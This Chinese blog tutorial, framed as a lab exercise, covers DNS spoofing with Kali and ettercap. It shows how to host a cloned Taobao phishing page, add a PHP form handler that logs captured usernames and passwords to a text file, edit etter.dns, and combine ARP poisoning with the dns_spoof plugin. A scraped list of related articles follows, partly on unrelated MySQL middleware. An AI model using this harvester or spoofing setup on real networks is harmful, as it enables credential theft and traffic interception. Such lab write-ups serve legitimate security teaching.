网络安全基础——DNS欺骗

article/2025/9/23 17:43:51

本人声明整个过程完全是为了进行实验学习,并没有侵犯任何人的权益

DNS原理

实质是域名解析协议,,假设一企业员工上班浏览网页,他会在浏览器里输入http://www.xxxxxx.com这个网站域名,输入之后他的电脑并不知道这是个什么玩意,于是先查找本地的DNS缓存表,若是没有这条信息就会向最近的DNS服务器寻求帮助,直到找到这个网址指向的xxWeb服务器的IP地址才能访问xx的网页服务

具体如何进行DNS解析有很多细节,不多说了,这里的重点是主机会向DNS服务器寻求帮助

DNS欺骗

既然正常的DNS解析需要经过DNS服务器,那么能不能通过中间人攻击在两者之间横插一脚,窃取企业员工想要访问xx的意图,并伪装成DNS服务器代替DNS服务器为他提供错误的域名解析结果,将http://www.xxxxxx.com这个域名指向一个提前准备好的虚假的看似可信的网站,也叫做钓鱼网站,在未授权情况下获取他的姓名、年龄、账号、密码等私密信息

话不多说咱们开始

实验

实验内容

使用kali对想要使用xxWEB服务的企业员工主机进行DNS欺骗,诱使他进入提前准备好的钓鱼网站窃取他的私密信息

实验设备

  • Win XP
  • Win Sever 2003
  • kali

实验拓扑图

在这里插入图片描述

攻击步骤

发布虚假的网站

利用Apache发布与xx一模一样的钓鱼网站,并且做出修改窃取私密信息

首先需要开启kali上的web服务也就是Apache

systemctl start apache2		//开启Apache服务
netstat -antpl				//查看当前的服务

在这里插入图片描述

将淘宝的网站更改后发布在Apache上

Apache类似于windows的web服务,也会自动生成一个默认的站点,路径为:/var/www/html

这里将自动生成的网页删除换成xx的

cd /var/www/html	//进入该目录
ls					//看看里面有什么
rm -rf *			//删除
cp -r /home/kali/桌面/taobao/* ./  //将这个路径下的所有文件复制到当前路径

在这里插入图片描述

在这里插入图片描述

查看并更改1.txt的权限

ls -l				//查看权限
chmod 777 1.txt		//所有人对1.txt拥有所有权限

在这里插入图片描述

linux的权限是基于八进制数字系统而创建的,读权限(read,r)的值是4,写权限(write,w)的值是2,执行权限(execute,x)的值是1,没有授权的值是0,而三个777分别对应文件实际拥有者,文件实际拥有者所在的组,其它用户的权限都为4+2+1也就是最高权限(真尼玛难理解)

编写error.php文件用于点击登录后表单的提交和页面跳转

<?php$nam = stripslashes($_POST[ 'name ']);
$pas = stripslashes($_POST[ 'pass ']);$content = "您已捕获淘宝账号及密码1个:" . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+" );@fwrite($filed, "$content\n");?><html>
<head><script type="text/javascript">function goBack(){window.history.back()11后退+刷新}</script>
</head>
<body οnlοad="goBack()"> <!--加载之后立即执行一段 JavaScript -->
</ body>
</html>

需要注意的是其中的name和pass需要和下面的两个文件中input标签中的name属性值对应对应,这样才能成功的截取到提交的表单信息

在这里插入图片描述

在这里插入图片描述

伪装DNS服务器

原本企业员工主机中会存在这样的表www.taobao.com–10.1.1.3通过DNS投毒直接把他改掉变成www.taobao.com–10.1.1.2

更改ettercap的DNS配置文件,目的是当开始DNS投毒时按照这个配置文件来执行

vim /etc/ettercap/etter.dns
//使用vim打开这个配置文件

打开之后长这个样子,带#的都是注释所以相当于这个文件是空的,啥都不用管,在里面加上这两行就行

下面是vim的操作方法

i		进入插入模式
ESC		退出插入模式
:q		退出
:wq		写入并退出

在这里插入图片描述

其中A代表正向DNS解析PTR代表反向DNS解析,为什么要加反向呢?因为有的浏览器会进行DNS反向验证,为了确保实验的成功加了两句,此外如果你想做的绝一点可以将前面域名部分改成 * 这样就意味着所有的域名都被解析成10.1.1.2,直接GG

中间人攻击

首先你需要进行ARP投毒让他们之间的信息流向你

我的上一篇文章有详细介绍网络安全基础——中间人攻击

完成ARP投毒后再打开DNS攻击的阀门,还是在ettercap中plugins->Manage plugins,双击dns_spoof打开,这时企业员工的主机的DNS就已经被投毒了,www.xxxxxx.com 访问的不再是xx网页了,而是钓鱼网站

在这里插入图片描述

做到这里企业员工的主机是已经被投毒了的,但是有可能还是访问了淘宝的网页,这是因为他的电脑里存在xx的DNS解析缓存,你可以执行一下ipconfig /flushdns刷新DNS缓存就可以了

总结

我的这次实验最终其实是失败了,但也不能说是完全失败,怎么说呢。。。我的DNS投毒成功了企业员工的主机会通过www.xxxxxx.com访问我的钓鱼网站,但是由于我对PHP和HTML网页的学习不是很多所以在分析xx的网页代码的时候没办法和error.php文件连接上导致表单数据没法传输记录下来,但是这都是小问题,钓鱼网站的技术我是学会了。

最后还是请大家千万别做违法的事情,以上全部内容都在下面的视频中有讲解:

【千锋】网络安全300集全套视频教程(web安全/渗透测试/黑客攻防/信息安全/代码审计)


http://chatgpt.dhexx.cn/article/RN5Tq2TN.shtml

相关文章

DNS解析过程及欺骗原理

什么是DNS DNS即地址解析协议&#xff0c;域名系统以分布式数据库的形式将域名和IP地址相互映射。 解析过程&#xff1a; 假如我们要访问 www.baidu.com &#xff0c;首先要向本地DNS服务器发出DNS请求&#xff0c;查询 www.baidu.com 的IP地址&#xff1b; 如果本地DNS服务器…

网络安全入门学习第十课——DNS欺骗

文章目录 一、DNS概念1、DNS是什么&#xff1f;2、DNS欺骗是什么&#xff1f; 二、DNS欺骗复现1、环境&#xff1a;2、使用工具&#xff1a;3、开始复现3.1、开启攻击者的web服务3.2、修改/etc/ettercap/etter.dns3.3、启动ettercap&#xff0c;配置目标3.4、开始攻击3.5、检查…

网络攻防技术——DNS欺骗

一、题目 本实验的目标是让学生获得对DNS&#xff08;域名系统&#xff09;的各种攻击的第一手经验。DNS是互联网的电话簿&#xff1b;它将主机名转换为IP地址&#xff0c;反之亦然。这种转换是通过DNS解析实现的&#xff0c;这种解析发生在幕后。DNS欺骗攻击以各种方式操纵此…

DNS欺骗-教程详解

目录 一、环境 二、dns欺骗原理 三、dns欺骗操作 四、dns欺骗的危害 五、dns欺骗的防御 一、环境 VMware下的kali&#xff08;攻击机&#xff09;、Windows 7 x64&#xff08;目标机&#xff09; kali下载链接&#xff1a; https://blog.csdn.net/Stupid__Angel/articl…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · eimens/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

网易中间件Cetus开源啦

Cetus的诞生 网易电商近年来业务呈现爆发式增长,原架构环境下,数据库的性能和吞吐量已无法应对其带来的巨大压力,为彻底解决数据库的瓶颈,Cetus应运而生。Cetus由网易乐得专家技术团队领队,经多部门协调合作设计出来的优秀中间件。具有正统基因,基于官方MySQL Proxy的版…

031:Cetus sharding

目录 一、主机环境二、搭建环境 1、准备环境三、Cetus安装 1、下载包和安装依赖包2、Cetus安装 1.安装说明2.安装实施四、Cetus配置 1、创建和修改配置文件2、启动cetus3、导入数据4、验证cetus分库功能五、Cetus测试各种限制 1、JOIN的使用限制2、DISTINCT的限制3、CASE WHEN/…

cetus权限连接主从mysql_网易开源中间件 -Cetus监控模块

01 概述 本文主要对Cetus的监控模块的使用及原理进行介绍&#xff0c;并介绍Cetus使用过程中&#xff0c;监控模块常见的问题及解决方法。 Cetus监控模块拥有独立的监控线程&#xff0c;主要是对Cetus后端各个MySQL实例进行监控&#xff0c;监控的内容主要包括三方面&#xff1…

cetus(cetus talk)

Cetus公司于1991年退出什么&#xff1f; Cetus公司于1991年推出一种rTthReverseTran&#xff0d;scriptase,有很好的依赖于RNA的耐热DNA聚合酶活性和依赖于DNA的耐热DNA聚合酶活性&#xff0c;二种活性分别依赖于Mn2Mg2&#xff0c;这样就可分别控制酶活性 Cetus公司于1991年退…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · session-replay-tools/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · foxxnuaa/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · sea009/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · niumanniu/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · javadoge/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · gczheng/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · sqlercn/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · eonezhang/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

cetus权限连接主从mysql_cetus/cetus-rw.md at master · shop-zhang/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…

数据库中间件 Cetus 2.3.6 读写分离版

搭建数据库主从集群并且初始化数据库 192.168.10.243 #cetus 192.168.10.250 #M 192.168.10.251 #S #开启延迟检测需要创建心跳表 create database if not exists proxy_heart_beat; use proxy_heart_beat; CREATE TABLE if not exists tb_heartbeat ( p_id varchar(128) NOT …

cetus权限连接主从mysql_cetus/cetus-rw.md at master · smudkey/cetus · GitHub

Cetus 读写分离版使用指南 简介 Cetus 读写分离版将前端发来的读请求和写请求分别发送到不同的服务器后端&#xff0c;由于底层的数据库都是Master/Slave架构&#xff0c;做到读写分离能大大提高数据库的处理能力。 安装部署 准备 1. MySQL 搭建MySQL主从关系 若开启主从延迟检…